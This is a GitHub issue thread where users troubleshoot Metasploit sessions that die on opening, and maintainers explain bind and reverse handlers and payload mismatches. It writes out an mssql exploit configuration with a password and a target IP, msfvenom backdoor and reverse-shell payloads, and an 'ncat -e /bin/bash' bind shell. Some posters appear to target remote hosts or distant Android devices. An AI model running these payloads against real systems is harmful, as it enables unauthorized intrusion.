Session continually dies immediately

[emilyanncr]

I have a few issues:

I. Once getting a session, it immediately dies

Logistics
I am using Private Internet Access VPN (but have the exact same issue when not using it)

My LAN ip is 10.65.10.6

I'm using Ngrok as a means to port forward

./ngrok http 80

Settings in metasploit

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set TARGET 0
TARGET => 0
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(mssql_payload) > set LHOST 10.65.10.6
LHOST => 10.65.10.6
msf exploit(mssql_payload) > set LPORT 80
LPORT => 80
msf exploit(mssql_payload) > set SRVPORT 80
SRVPORT => 80
msf exploit(mssql_payload) > set SSL false
SSL => false
msf exploit(mssql_payload) > set SRVHOST localhost
SRVHOST => localhost
msf exploit(mssql_payload) > set USE_WINDOWS_AUTHENT false
USE_WINDOWS_AUTHENT => false
msf exploit(mssql_payload) > set TDSENCRYPTION false
TDSENCRYPTION => false
msf exploit(mssql_payload) > set PASSWORD 83773r1n@
PASSWORD => 83773r1n@
msf exploit(mssql_payload) > set URIPATH /
URIPATH => /
msf exploit(mssql_payload) > set USERNAME Guest
USERNAME => Guest
msf exploit(mssql_payload) > set METHOD cmd
METHOD => cmd
msf exploit(mssql_payload) > set RPORT 80
RPORT => 80
msf exploit(mssql_payload) > set RHOST 
RHOST => 
msf exploit(mssql_payload) > exploit -j
[*] Exploit running as background job 1.
[*] Started bind handler
[*] Sending stage (179267 bytes) to 
**Meterpreter session 1 closed.  Reason: Died
[*] Meterpreter session 1 opened (127.0.0.1 -> ) at 2017-10-06 20:32:11 -0700**

So I run again:

meterpreter > run
[*] Started bind handler
[*] Sending stage (179267 bytes) to 49.231.247.34
 **Meterpreter session 2 closed.  Reason: Died**
[*] Meterpreter session 2 opened (127.0.0.1 -> ) at 2017-10-06 20:32:40 -0700

[-] Invalid session identifier: 2
Now it says 'invalid session identifier'

When I am able to get a shell in Metasploit community, when I click on 'command shell' it opens and I'm given a message the session has been disconnected as well as this input:

Session 94 Error: Msf::RPC::Exception Unknown Session ID 32 ["lib/msf/core/rpc/v10/rpc_base.rb:25:in `error'", "lib/msf/core/rpc/v10/rpc_session.rb:487:in `_valid_session'", "lib/msf/core/rpc/v10/rpc_session.rb:166:in `rpc_meterpreter_read'", "lib/msf/core/rpc/v10/service.rb:153:in `block in process'", "lib/ruby/2.3.0/timeout.rb:91:in `block in timeout'", "lib/ruby/2.3.0/timeout.rb:33:in `block in catch'", "lib/ruby/2.3.0/timeout.rb:33:in `catch'", "lib/ruby/2.3.0/timeout.rb:33:in `catch'", "lib/ruby/2.3.0/timeout.rb:106:in `timeout'", "lib/msf/core/rpc/v10/service.rb:153:in `process'", "lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", "lib/msf/core/rpc/v10/service.rb:72:in `block in start'", "lib/rex/proto/http/handler/proc.rb:38:in `on_request'", "lib/rex/proto/http/server.rb:368:in `dispatch_request'", "lib/rex/proto/http/server.rb:302:in `on_client_data'", "lib/rex/proto/http/server.rb:161:in `block in start'", "lib/rex/io/stream_server.rb:48:in `on_client_data'", "lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", "lib/rex/io/stream_server.rb:197:in `each'", "lib/rex/io/stream_server.rb:197:in `monitor_clients'", "lib/rex/io/stream_server.rb:73:in `block in start'", "lib/rex/thread_factory.rb:22:in `block in spawn'", "lib/msf/core/thread_manager.rb:100:in `block in spawn'"]

II

Only on Armitage and Metasploit Community edition am I told when a successful session has been established. I can establish a session using msfconsole but will get the 'no session created' message even when a successful session had been established.

Further, I have to run the exploit several times with the same settings to get it to work and give me a session.

Any help would be greatly appreciated! I've been struggling with this for weeks and have a jaw dropping 93 closed sessions on the target. I am running the latest distribution of Kali Linux as my OS (not a VM) and have updated Metasploit.

[sempervictus]

That should never work in the first place... There's no rhost on the bind payload (the payload binds on the rhost and we connect to the bound address:port). Not familiar with the proxy software you're using, but suggest a simple direct network link to a VM to sort this out, no VPN, no proxy, just TCP/IP.

[emilyanncr]

Thank you sempervictus for replying. I'm not gonna lie, I don't understand, but that's not your fault or problem. At least I know what to research now.

[sempervictus]

Good attitude, sorry for the word jumble. To get you started:
A bind payload executes on the remote host and listens on, or binds to, a port. Framework uses a bind handler to handle this session/stage by establishing a new connection to the bound port on the remote address (rhost).
The tunneled network (and/or proxied connection) paradigm is stackable across many implementations. Initial forays into this stuff will go a lot smoother on direct and simple network topologies. Once you get the hang of it, then routed/translated networks to get a hang of port forwards and pivots (like ssh tunnels and forwards in many ways). Otherwise debugging is a stalling nightmare of disambiguating user and system problems.
Keep at it, and IRC is your friend.

[emilyanncr]

It's just a test box so I've ran the exploit without anything in between but it just doesn't work. I don't understand what's so damn difficult. I have no prob getting an os-shell with sqlmap, why does metasploit have to be any different in terms of connections. I get reverse shells. You set up a listener then connect from a remote host. I don't understand what I could have done differently to get it to bind. I set the rhost where it said rhost. Set the lhost where it said lhost. Every single walk through from offensive security comes from the perspective that you're attacking inside the lan. How common is that really though? If you're doing an external pentest by virtue you have to be coming from the wan. Inside lan is easy. Outside lan is hard, don't know why there can't be more examples over the wan. I'm giving up on metasploit. It's just infuriating me at this point, like literally bringing me to tears. It's never worked for me once. I can do pretty much everything metasploit can manually but metasploit would def be a help. I'll just wait until I can have someone show me in person because there's no sense in me being upset over it and wasting hours and hours and hours of my time. Thank you for your help however, I do greatly appreciate it.

[bcook-r7]

This sounds like an area that is much in need of a specific tutorial. Don't despair, it is possible. But it does sometimes require some expert-level consideration of all of the moving parts, especially since a bind handler assumes the remote host is actually routable via RPORT and doesn't already have another service listening on that port.

For instance, if you are already running a webserver on port 80, trying a bind payload on that target is going to show exactly the symptoms you see here. Metasploit will connect to your webserver when the handler starts, and say 'Session Established' and then dump a payload to your webserver. When the webserver says 'go away', that will look like the session died, when in fact, it could never even connect in the first place (in other words, the 'Session Established' message is a bit of a lie at first, since it only counts TCP connections rather than real communications as success.)

I think we could take this as a cue to improve docs and user output when things are misconfigured, and especially verify that the session is real before claiming success. I'll close this for now.

[kawaxi]

Well this Issue its the same I have but under different conditions therefore I'm gonna use this one:

msf version is v4.16.11-dev

so I set my reverse handler
use exploit/multi/handler
set LHOST ip
set LPORT 443
set payload php/meterpreter/reverse_tcp
exploit

I get:

[] [2017.10.21-13:31:29] Started reverse TCP handler on 0.0.0.0:443
[] [2017.10.21-13:31:39] Encoded stage with php/base64
[] [2017.10.21-13:31:39] Sending encoded stage (50120 bytes) to MYVICTIM
[] Meterpreter session 1 opened (192.168.1.69:443 -> VICTIM:52729) at 2017-10-21 13:31:39 -0500
[*] Victim - Meterpreter session 1 closed. Reason: Died

It seems I cant get a working session, I tried the same on msf v4.12.4-dev and it's working perfectly.

Any ideas?

[emilyanncr]

Bcook-rc7: A specific tutorial would be amazing!!! Thanks so much for your time and understanding. You know what'd also be awesome is if rather than having two LHOSTS (one for listener, one for connect back), the listening one were called LIHOST. Then it'd be easier to understand. I think that's where a lot of people get hung up at. Obviously I'm no where near the level you're at and it's likely super easy for you to know the difference. I'll read about how to set the LHOSTS properly but it doesn't connect with my brain. I'll have to do something successfully to understand then reverse engineer in my head why it worked. Thanks again for your assistance!

[timwr]

For reverse_tcp you can set the LHOST to the address the payload should connect out to (the same LHOST you have given to msfvenom). If it can't bind to the address it will fall back to binding on all interfaces (0.0.0.0). There are advanced options for overriding this (ReverseListenerBindAddress I think).

[chris948]

Having the same issue 4.16.12-dev, it's driving me nuts.

Trying a php exploit, revslider, settings are correct, the file gets dumped into the web server, but my meterpreter session immediately dies, "Reason: died"

So I msfvenom my own .php file - msfvenom -p php/meterpreter/bind_tcp LPORT 4000 >/temp/backdoor.php

upload that, log into my virtualmachine running 5 year old ubuntu and 5 year old wordpress plus plugins, file is there, start a listener

use exploit/multi/handler
set LHOST ip
set LPORT 4000
*edit: set payload php/meterpreter/bind_tcp
run

The second I open up the /wordpress.../backdoor.php file, I get the same immediate session closed.

IP address and ports have to be right, I can hit enter, start a new listener, and then refresh the php file on my browser and it does the same thing.

sending state to 172.16.1.16
172.17.1.16 - Meterpreter session 14 closed. Reason: Died
Meterpreter session 14 opened (127.0.0.1 -> 172.16.1.16:4000) at 2017-10-28 blah blah

I am running Kali in virtualbox, Arch Linux the host. Tested it in Windows 10, Kali VM, same issue.

Any help would be appreciated.

[sempervictus]

You're handling a reverse payload while binding on the host. Bind payloads listen on a port of the target host, they bind to the port. Reverse payloads connect back to you.

[chris948]

Sorry, thanks for the close read. I'm using set payload php/meterpreter/bind_tcp. I was typing it all out on the machine that's actually logged into git, not doing the work, which was dumb.

I went ahead and created a reverse payload, started a reverse listener, exact same thing. Initiated immediately, but died.

[sempervictus]

No worries. So if you are using a bind payload, can you netcat to the bound port? Php itself may also be messing w you, suggest trying a separate bind shell for testing that factor.

[chris948]

Ok, trying to follow along.

ncat -v -l -p 4000 -e /bin/bash on my ubuntu target
nc 172.16.1.16 4000 on my laptop
works

I used msfvenom to create a .py payload, moved it over (exploit changes it to php file, didn't feel like troubleshooting) and same thing, listener starts and waits, just dies.

msfvenom -p cmd/unix/reverse_python lhost=10.9.8.2 lport=4000 -f raw > python.py --> cp file

use exploit/multi/handler
set payload python/meterpeter/reverse_tcp
set lhost 10.9.8.2
set lport 4000
run

./python.py on the target as root, handler opens the session and immediately dies.

edit: if I'm supposed to be able to nc to port 4000 after I run the exploit, if I don't click the exploit, the connection is refused, if I time it just right, click the exploit and then nc, it appears to work but the session doesn't get established.

edit2: I have no problem getting windows exploits to work, and have successfully tested a cmd/unix/interact payload,

[h00die]

You mismatched payloads.
You created a standalone payload of cmd/Unix/reverse_python. When it is executed and calls back, it will expect to get the next stage of cmd/Unix/reverse_python.
The handler is python/meterpreter/reverse_tcp. When something connects to it, it will send the 2nd stage of that payload.
So cmd/Unix/reverse_python is executed, it calls back and asks for stage 2. Handler is not sure what that second stage is and we have a mismatch and therefore no shell.

Let's make an analogy.
Let's say you book air travel on British Airways to the United States.
Then you get to the airport, go to the United Airways counter and try to get your boarding pass for Britain. They'd look at you funny and ask you to leave.
Same thing here.
Your payload must match the handler, not just have the same words in it.

[chris948]

Thanks, fixing the handler to use the right exploit took 15 seconds and worked.

ncat works, this python shell file works, is there any way to further troubleshoot php? Or should I try other things? I am running into some base64 issue when I tried to run a msfvenom'd a python/meterpreter/reverse_tcp file. Is that a trail worth going down?

[chris948]

I took the python script out of base64, easier to manually kick off on my testing target machine that way. Ran python/meterpreter/reverse_tcp for a listener, and that worked as well.

Appreciate everyone's help, I can get anything but php to work. I don't know if it's my VPN or my virtualbox or just the latest builds of msf.

[sempervictus]

@chris948: Re PHP, you might want to trace the PHP execution via print statements injected into your payload. How does PHP reverse shell behave, drop the meterp piece for a sec, and try the raw TCP sock connecting back to you with a REPL on the other side.

…

On Sun, Oct 29, 2017 at 9:35 PM, chris948 ***@***.***> wrote: I took the python script out of base64, easier to manually kick off on my testing target machine that way. Ran python/meterpreter/reverse_tcp for a listener, and that worked as well. Appreciate everyone's help, I can get anything but php to work. I don't know if it's my VPN or my virtualbox or just the latest builds of msf. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#9047 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/ABRPjLckSjGLLGmFG4OcMhAhLrsydBxAks5sxSf2gaJpZM4PxOze> .

-- Boris Lukashev Systems Architect Semper Victus

[h00die]

This is a closed ticket. If you found a bug in the code, please submit a new ticket. If you need help with metasploit, please visit the #metasploit Chan on IRC

[chris948]

@sempervictus

Thanks, the guy who posted the problem before me has another thread, and that one was closed because his php issue is fixed with the latest merge (v4.16.13-dev). I'm not on the git release, so I'm just waiting for kali to put it in apt, I think that addresses my issue.

If that doesn't work, I'll learn enough php to print!

[sempervictus]

@h00die: my fault for keeping the closed issue alive, a bit heads down lately to be useful in IRC. @chris948: real <insert relevant pronoun> dont use packaged installers ;-). MSF is a framework, not so much a precanned tool (get Pro/CE for that), and with your own deployment from git you can customize beyond the capabilities presented by upstream.

…

On Mon, Oct 30, 2017 at 7:43 PM, chris948 ***@***.***> wrote: @sempervictus <https://github.com/sempervictus> Thanks, the guy who posted the problem before me has another thread, and that one was closed because his php issue is fixed with the latest merge (v4.16.13-dev). I'm not on the git release, so I'm just waiting for kali to put it in git, I think that addresses my issue. If that doesn't work, I'll learn enough php to print! — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#9047 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/ABRPjIKKFZDP0fd5Q1eIvYkvCMCmq2f9ks5sxl8IgaJpZM4PxOze> .

-- Boris Lukashev Systems Architect Semper Victus

[gibby254gibu]

hey,
i have an issue with my sessions. my sessions keeps on closing, am using ngrok for port forwarding.
the real issue here is that once i try my payloads on targets which are close to my attacking machines i get a great session bt once i try on android devices away from me that is a couple of mile away my sessions keeps on closing reason being they die.. pliz help